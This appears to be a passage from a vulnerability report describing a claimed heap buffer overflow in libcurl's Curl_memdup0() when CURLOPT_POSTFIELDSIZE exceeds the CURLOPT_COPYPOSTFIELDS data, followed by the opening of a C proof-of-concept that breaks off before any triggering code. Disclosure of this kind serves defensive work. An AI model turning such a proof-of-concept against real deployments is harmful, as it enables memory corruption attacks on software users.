Heap Buffer Overflow in Curl_memdup0() via CURLOPT_COPYPOSTFIELDS/CURLOPT_POSTFIELDSIZE Mismatch

Summary A heap buffer overflow vulnerability exists in libcurl's `Curl_memdup0()` function when handling `CURLOPT_COPYPOSTFIELDS` operations. The vulnerability occurs when libcurl internally processes POST data where the specified `CURLOPT_POSTFIELDSIZE` exceeds the actual buffer size of data set …

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>

#define ACTUAL_SIZE 105
#define CLAIMED_SIZE 976909154L

int main(void) {
    printf("[+] libcurl Heap Buffer Overflow PoC\n");
    printf("[+] CURLOPT_COPYPOSTFIELDS vulnerability reproduction\n\n");
    
    /* …